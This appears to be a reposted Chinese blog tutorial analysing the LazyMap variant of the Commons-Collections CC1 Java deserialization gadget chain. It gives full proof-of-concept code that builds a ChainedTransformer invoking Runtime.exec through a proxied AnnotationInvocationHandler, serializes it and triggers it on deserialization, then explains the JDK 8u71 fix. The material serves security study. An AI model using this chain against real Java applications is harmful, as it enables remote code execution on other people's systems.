CC1链补充-LazyMap

前言

在我们上一篇中详细分析了CC1链,但是在CC1链中还有一条链就是LazyMap类

1.安装和CC1核心

环境安装的详情可以见上篇CC1分析的第二部分,环境搭建部分
两条不同的路线其实第一步核心都是相同的,执行类都是Tansformer接口和实现类,详情可见上篇CC1分析的第三部分

Commons-Collections篇-CC1链小白基础分析学习

2.(Gadget)寻找哪些调用了执行类

在上一篇中调用链找的是TransformedMap,但是本篇也是在这里重新出发,找的是LazyMap方法
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
我们可以看到LazyMap也是能够进行序列化,满足我们调用链的寻找要求
在get方法中首先就要进行一个if判断,判断成功才会执行transform方法
if (map.containsKey(key) == false)

在这里插入图片描述
containsKey方法根据描述来说用于检查一个特定的键 key 是否不存在于 map 这个映射(或称为字典、哈希表)中,如果存在的话就返回true
所以想要满足这个if语句,我们需要传入一个map数组中不存在的key键名称即可

在这里插入图片描述
查看LazyMap方法,可以看到factory我们是可以控制的,但是直接调用该方法是受到保护的,继续寻找,发现有一个公开的静态decorate方法,返回了一个LazyMap实例

在这里插入图片描述
所以我们构造一个poc,传入的是我们之前分析的执行类InvokerTransformer

public class test {public static void main(String[] args) throws Exception {InvokerTransformer test = new InvokerTransformer("exec",new Class[]{String.class},new String[]{"C:\\windows\\system32\\calc.exe"});Map map = new HashMap();Map Lazy = LazyMap.decorate(map,test);Lazy.get(Runtime.getRuntime());}
}

在这里插入图片描述

3.(Source) 寻找入口类

我们已经找到LazyMap类中的get方法能够调用咱们分析的执行类,所以我们接下来寻找并分析入口类

和之前的CC1分析类似,也是找到了AnnotationInvocationHandler这个类,但是方法不一样,上一篇是分析了readObject方法,这一次是invoke方法
在这里插入图片描述
在这里插入图片描述
既然找到这个方法,确认为入口点,怎么来进行触发呢?他和readObject类似,当进行反序列化时就会自动调用readObject

当进行动态代理,一个类被动态代理了之后,想要通过代理调用这个类的方法,就一定会调用 invoke() 方法

所以我们只需要创建一个使用AnnotationInvocationHandler作为处理器的代理对象动态代理,并无参调用该代理对象中的方法即可

正好在readObject中可控的memberValues调用了entrySet方法,恰好是个无参方法
在这里插入图片描述
在这里调用了entrySet()方法也就是说,如果我们将 memberValues 的值改为代理对象,当调用代理对象的方法,那么就会跳到执行 invoke() 方法,最终完成整条链子的调用

第一步,我们先通过反射得到AnnotationInvocationHandler类的构造方法,设置可以访问,并将Override.class, Lazy传入构造器,创建一个实例invocationHandler

Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aDe = a.getDeclaredConstructor(Class.class, Map.class);
aDe.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) aDe.newInstance(Override.class, Lazy);

用AnnotationInvocationHandler类作为代理处理器创建了一个代理对象proxyMap,并动态代理前面的invocationHandler方法

Map proxyMap = (Map)Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},invocationHandler);

根据代理对象proxyMap重新创建了一个实例

invocationHandler =(InvocationHandler) aDe.newInstance(Override.class,proxyMap);

所以整体的一个思路为反序列化后readobject自动触发代理类的无参方法进入代理的处理类invoke,走LazyMap的get方法

4.POC编写

public class test {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Class.class),new InvokerTransformer("forName",new Class[] {String.class},new Object[] {"java.lang.Runtime"}),new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[] {Object.class, Object[].class },new Object[] {null, new Object[0] }),new InvokerTransformer("exec",new Class[] {String.class},new String[]{"C:\\windows\\system32\\calc.exe"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map map = new HashMap();Map Lazy = LazyMap.decorate(map,chainedTransformer);Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor aDe = a.getDeclaredConstructor(Class.class, Map.class);aDe.setAccessible(true);InvocationHandler invocationHandler = (InvocationHandler) aDe.newInstance(Override.class, Lazy);Map proxyMap = (Map)Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},invocationHandler);invocationHandler =(InvocationHandler) aDe.newInstance(Override.class,proxyMap);serializable(invocationHandler);
//        unserializable();}private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{FileInputStream fis = new FileInputStream("obj1");ObjectInputStream ois = new ObjectInputStream(fis);Object o = ois.readObject();return o;}private static void serializable(Object o) throws IOException, ClassNotFoundException {FileOutputStream fos = new FileOutputStream("obj1");ObjectOutputStream os = new ObjectOutputStream(fos);os.writeObject(o);os.close();}

我们在序列化到文件之后,进行反序列化poc测试

public class CC {public static void main(String[] args) throws Exception {//命令执行代码unserializable();}private static  Object unserializable() throws Exception,IOException, ClassNotFoundException{FileInputStream fis = new FileInputStream("obj1");ObjectInputStream ois = new ObjectInputStream(fis);Object o = ois.readObject();return o;}}

在这里插入图片描述

5. 修复

官方推荐是将jdk版本升级到jdk8u71

在8u71版本之后,AnnotationInvocationHandler类被重写了,修改了readObject方法,里面没有了setValue方法。

这是jdk17.0.9的sun.reflect.annotation.AnnotationInvocationHandler#readObject的readObject方法
第593行新建了一个名为mv的LinkedHashMap,然后mv的数据在第597行开始通过for循环里面的逻辑给mv添加值,所有的操作都是基于这个新建的LinkedHashMap操作的,所以至此利用链就断开了,无法按照我们的预期进行。
在这里插入图片描述

6.总结

整体的调用链大概是这个样子:

  • InvokeTransformer#transform
    • LazyMap#get
      • AnnotationInvocationHandler#readObject

在调试和运行中,发现调试中会多次弹出计算器,而运行只会在反序列化中触碰

在调试模式下,由于IDE的行为(例如在断点处重新加载类或对象)可能导致AnnotationInvocationHandler的invoke方法被多次调用,从而意外地触发了Transformer链中的操作,导致计算器被启动。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/842564.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【MySQL事务(上)】

文章目录 前言一、什么是事务?1.关于事务的特性 二、为什么要有事务三、事务的提交方式测试事务准备工作事务的操作1.启动事务2.对事务进行回滚(只有在事务进行期间)3.提交事务(持久化)4.事务的异常情况结论 四、事务的…

侧缝计怎么安装_测缝计安装方法介绍

测缝计作为土木工程和结构健康监测中常用的仪器,用于测量裂缝或接缝的张开和闭合情况。正确的安装是确保测缝计能够准确、可靠地工作的关键。本文将详细介绍测缝计的安装方法,以确保测量结果的准确性和可靠性。 上传中 点击输入图片描述(最多…

Qt for android 串口库使用

简介 由于Qt for android并没有提供android的串口执行方案,基于需要又懒得自己去造轮子, 使用开源的 usb-serial-for-android 库进行串口访问读写。 如果有自己的需要和库不满足的点,可以查看库的底层调用的Android相关API C/C 串口库 对应…

01Python相关基础学习

Python基础 模块相关导入模块sys模块 模块相关 导入模块 1. import 模块名 2. import 模块名 as 别名 3. from 模块名 import 成员名 as 别名sys模块 1. sys.argv 介绍: 实现从程序的外部想程序传递参数返回的是一个列表,第一个元素是程序文件名,第二个元素是程序外部传入的…

RabbitMQ(一)概述第一个应用程序

文章目录 概述AMQP和JMS官网安装开始第一个程序 概述 消息队列是实现应用程序和应用程序之间通信的中间件产品 AMQP和JMS 工作体系 官网 https://www.rabbitmq.com/ RabbitMQ是一款基于AMQP、由Erlang语言开发的消息队列产品 安装 # 拉取镜像 docker pull rabbitmq:3.13-m…

民国漫画杂志《时代漫画》第7期.PDF

时代漫画07.PDF: https://url03.ctfile.com/f/1779803-1247458105-0a2c41?p9586 (访问密码: 9586) 《时代漫画》的杂志在1934年诞生了,截止1937年6月战争来临被迫停刊共发行了39期。 ps:资源来源网络!

Java进阶学习笔记23——API概述

API: API(Application Programming Interface)应用程序编程接口 就是Java帮我们写好了一些程序:如类、方法等等,我们直接拿过来用就可以解决一些问题。 为什么要学别人写好的程序? 不要重复造轮子。开发…

哈希表详解及模拟实现(unordered_map)

目录 认识哈希表: 哈希冲突: 除留余数法--(常用) 平方取中法--(了解) 折叠法--(了解) 随机数法--(了解) 泛型编程: 闭散列: 线性探测: 二次探测: 扩容: 查找: 插入&#…

PUBG绝地求生卡在初始界面 登不上去 打不开游戏的解决办法

PUBG绝地求生卡在初始界面 登不上去 打不开游戏的解决办法 吃鸡热潮依旧绝地求生PUBG可是咱们玩家的心头好啊!不过有时候可能会遇到点小麻烦,比如PUBG绝地求生卡在初始界面 登不上去 打不开游戏的解决办法。小编这就给大家分享几个超实用的解决方法&…

LDRA Testbed(TBrun)软件单元测试_操作指南

系列文章目录 LDRA Testbed软件静态分析_操作指南 LDRA Testbed软件静态分析_自动提取静态分析数据生成文档 LDRA Testbed软件静态分析_Jenkins持续集成_(1)自动进行静态分析的环境搭建 LDRA Testbed软件静态分析_Jenkins持续集成_(2)配置邮件自动发送静态分析结果 LDRA Testb…

YOLOv10来了

B站:啥都会一点的研究生公众号:啥都会一点的研究生 前言 YOLOv10 由清华大学研究人员在 Ultralytics版基础上进行进一步开发,引入了一种新的实时目标检测方法,解决了以前版本 YOLO 在后处理和模型架构方面的不足。通过消除非最大…

[8] CUDA之向量点乘和矩阵乘法

CUDA之向量点乘和矩阵乘法 计算类似矩阵乘法的数学运算 1. 向量点乘 两个向量点乘运算定义如下: #真正的向量可能很长,两个向量里边可能有多个元素 (X1,Y1,Z1) * (Y1,Y2,Y3) X1Y1 X2Y2 X3Y3这种原始输入是两个数组而输出却缩减为一个(单一值)的运…

linux 查看csv文件,按指定列聚合 排序

在Linux中,你可以使用awk工具来查看CSV文件的内容,并按照指定的列进行聚合。awk是一种强大的文本处理工具,它可以处理文本文件中的数据,并根据条件执行相应的操作。 以下是一个示例,假设你有一个名为data.csv的CSV文件…

单点登录(JWT实现)

单点登陆的英文名是:Single Sign On(简称SSO),只需要登陆一次,就可以访问所有信任的应用系统。 在单体项目中,我们登陆之后可以把验证用户信息的值放入session中,单个tomcat中的session是可以共…

C++ 数据结构算法 学习笔记(33) -查找算法及企业级应用

C 数据结构算法 学习笔记(33) -查找算法及企业级应用 数组和索引 日常生活中,我们经常会在电话号码簿中查阅“某人”的电话号码,按姓查询或者按字母排 序查询;在字典中查阅“某个词”的读音和含义等等。在这里,“电话号码簿”和…

【FPGA】Verilog:2-bit 二进制比较器的实现(2-bit binary comparator)

解释 2-bit 二进制比较器仿真结果及过程说明(包括真值表和卡诺图) 真值表和卡洛图如下: 2-bit Binary Comparator A1 A2 B1

写好的文章怎样联系媒体投稿?

作为单位信息宣传的桥梁,我肩负着将单位的每一次活动、每一项成就转化为社会认可与赞美的重任。初涉此职,我满腔热血,以为凭借扎实的文字功底与不懈的努力,便能在各大媒体平台上为单位赢得一席之地。然而,现实很快就给了我一记响亮的耳光。 我最初采取的是最直接的方式——邮箱…

QT 使用QLsitView 实现多个子项选中取消效果

文章目录 效果图概述部分代码总结 效果图 概述 整个界面的布局介绍请看这篇博客想要的到这种自由选择中的Item效果,需要使用到Model-view的思想,每个item中都要存放一个标志位,用在Paint函数去判断是否绘制为按下的状态。每次item被点击时&a…

记录下所遇到远程桌面连接方法winSCP跟mstsc

之前公司使用过连接远程桌面,今天又遇到要使用远程桌面问题,来记录下。 之前公司使用的是winR 然后回车弹出 后面按照用户名密码就能登陆了 今天后台给了我一张图片准备接着用这个方法,后台就说这个东西要下载winSCP 后台发给我图片 然后去…

[笔试强训day09]

文章目录 BC146 添加逗号DP2 跳台阶JZ61 扑克牌顺子解法一&#xff1a;排序模拟解法二&#xff1a;规律哈希 BC146 添加逗号 BC146 添加逗号 #include<iostream> #include<string>using namespace std;int main() {string s;cin>>s;string ans;for(int i0;i…